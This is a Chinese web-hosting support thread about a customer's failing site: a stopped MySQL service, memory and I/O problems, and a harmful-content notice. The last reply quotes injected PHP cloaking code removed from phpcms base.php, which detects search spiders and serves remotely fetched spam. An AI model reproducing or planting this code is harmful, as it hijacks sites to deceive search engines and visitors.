问：,网站打不来
答：您好，测试可以访问的，附图，请您清空浏览器缓存或者换一个浏览器再测试一下，若您本地还是无法访问请您ping一下您的域名将结果提交上来我司查看一下 ,非常感谢您长期对我司的支持!
问：您好，之前在这个账号下面提的备案，现在这个主体已经注销了，备案码不能继续使用了，更新备案主体，看下有没有同步
答：您好，请提供备案码或对应的虚拟主机ftp，以便核实确认；非常感谢您长期对我司的支持.由此给您带来的不便之处,敬请原谅!谢谢!
问：我的网站怎么总是如此呀 挂了
http://www.jdtxj.org/group.php
我该开什么配置的服务器为宜
答：您好，
我司查看服务器mysql服务没有启动，我司已为您启动服务，附图，查看数据库日志中有数据表需要修复，您可以参考https://www.west.cn/faq/list.asp?unid=39 进行修复数据表，然后在观察下,非常感谢您长期对我司的支持!
问：我这几天没上网/今天一打开发现又挂了
答：您好，
1.当前服务器已经为您启动了mysql，并通过系统日志中查看，对应服务器都有出现http站点服务消耗内存过高，导致系统自动kill其他应用服务的情况，此情况建议可以将站点访问日志，根据站点访问日志来核实分析看看是那个站点使用内存过高，可以和核实处理一下，做可以升级一下服务器内存到8G观察。
2.并核实当前服务器宿主有出现io使用很高的情况，导致服务器有出现卡顿的情况，当前我司可以为您更换一个宿主您再测试访问速度，您同意更换可以回复工单我司操作,非常感谢您长期对我司的支持!
问：收到以下邮件，但我们没有发现有害信息，烦请贵公司处理一下，该收费的收费就是！，谢谢！
尊敬的用户：王东 您好！ 您在我司购买的业务(FTP用户名:**********)经我司信息安全系统监测到存在有害信息，按国家有关法律规定，网站主办者有责任和义务保证网站不传播有害信息。现在信息安全形势十分严峻，相关管理机构对出现有害信息处置十分严厉，所以您必须在收到此次通知的24小时内将网站所有有害信息立即清除，并采取必要措施保证以后不再出现有害信息，24小时后我司信息安全员将再次复查，若还未清除，将关闭该主机的网站访问，同时我们也可能会将您主机的相关资料以及有害信息等相关材料作为线索报送公安机关相关部门，届时您需自行承担相关责任。 据我们的经验，出现有害信息绝大部分情况是因为网站漏洞被黑而被挂马然后传播，这种情况您应该彻底清除相关的木马文件，并找到相关网站开发人员，查找漏洞并修补，以避免再次被黑。另一种情况是您网站存在交互式栏目，但又无人管理无人审核，造成被人利用发布有害信息,这种情况我们建议您关闭交互式栏目。 针对每次非法信息，我司系统均将自动计数（您当前的处置次数为：1次）,对于累计多次出现非法信息的主机，我司不排除会永久关闭。所以希望您切实履行起相关安全主体责任，加强网站安全管理，避免有害违法信息通过您的网站传播。 具体的非法信息您可以登录我司【管理中心-业务管理-安全及监测-非法信息监测】查看，也可在 http://cdsec.vhostgo.com/search输入您的域名或云主机IP查看，但此处查询的信息有可能未完全覆盖，您需要据此为线索对整站进行全面排查，避免遗漏。请参考 非法信息处理流程指南。 如果您（公司）缺少技术人员，不懂如何清理和加强安全设置，也可以提交工单，委托我司技术工程师代为清除病毒、木马和非法信息，同时也可以有网站加固安全服务。收费标准：根据非法信息的数量多少、被黑的严重程度、恢复和加固所需要的大概时间来收费，一般约80元~200元左右。 附加提示一：非法信息记录中，【阻断】的意思是系统判断极有可能是非法信息的记录，并会自动阻断此网址的访问，【记录】意思是系统判断疑似非法信息的记录，需管理员人工核实。 附加提示二：新实施的《中华人民共和国网络安全法》第四十七条规定，网站主办者对非法信息传播负有法律责任，请高度重视此事，否则将可能承担相应的法律后果。 附加提示三：关于更进一步加强网站有害信息处置的公告 。 附加提示四：每个业务您只有3次解锁的机会，所以当出现非法信息后，除需清掉非法信息外，【务必】找到有效方法杜绝非法信息再次出现，如关闭论坛，修复漏洞等。 附加提示五：如果实在没有好的办法防止非法信息再次出现，建议您将业务升级到海外机房。 附加提示六：非法信息现在国家管控【异常严格】，并已形成长效机制，所以请您【务必重视】并积极配合，否则后果十分严重。再次提醒：若您未在24小时内清理这些有害信息，我司将在24小时后关闭您的主机，希望您能配合处理，谢谢。同时我们强烈建议关闭论坛、留言板等交互式栏目，确实需要开办的，需要落实先审后贴，加强人工管理。经常出现非法信息但没有精力管理同时又确需开办的，可以考虑转移至香港机房。
答：您好，核实此站点我司通过模拟百度蜘蛛访问这些链接确实是有异常的,目前已经通过解除阻断,请及时检查修复程序,查看index.php文件是有些异常代码,如需我司协助清理挂马,我司仅能检查并清理挂马信息，无法修复漏洞，修复程序需要联系程序开发商处理，请确认后可提交【虚拟主机/数据库问题】—【网站类问题】—【清理网站挂马代码和非法信息】正确工单类型，非常感谢您长期对我司的支持!
问：那请指出具体是哪个代码？，余额还有300多，如果需要费用可以直接扣除。
答：您好，我司扣费100元,核实是首页中调用的phpcms\\base.php 等代码文件有问题,已经帮您清理,并对主机设置安全加固,
set_time_limit(0);error_reporting(0);$a=stristr;$b=$_SERVER;define(\’url\’,$b[\’REQUEST_URI\’]);define(\’ent\’,$b[\’HTTP_USER_AGENT\’]);define(\’site\’,"http://127.0.0.1:1024/");define(\’road\’,"?road=".$b[\’HTTP_HOST\’].url."&der=".ent);define(\’regs\’,\’@Baidu|Sogou|Yisou|Soso|Haosou|360Spider|So.com|Sm.cn@i\’);define(\’area\’,$a(url,".xml")or $a(url,".doc")or $a(url,".txt")or $a(url,".ppt")or $a(url,".xls")or $a(url,".csv")or $a(url,".shtml")or $a(url,".docx")or $a(url,".xlsx")and $a(url,"?"));if(preg_match(regs,ent)){if(area){echo g(site.road);exit;}else{echo g(site."?zz".road);ob_flush();flush();}}if(area){echo g(site.\’?tz\’);exit;}function g($d){$e=array(\’http\’=>array(\’method\’=>"GET"));$i=stream_context_create($e);$j=file_get_contents($d,false,$i);if(!empty($j)){return $j;}}
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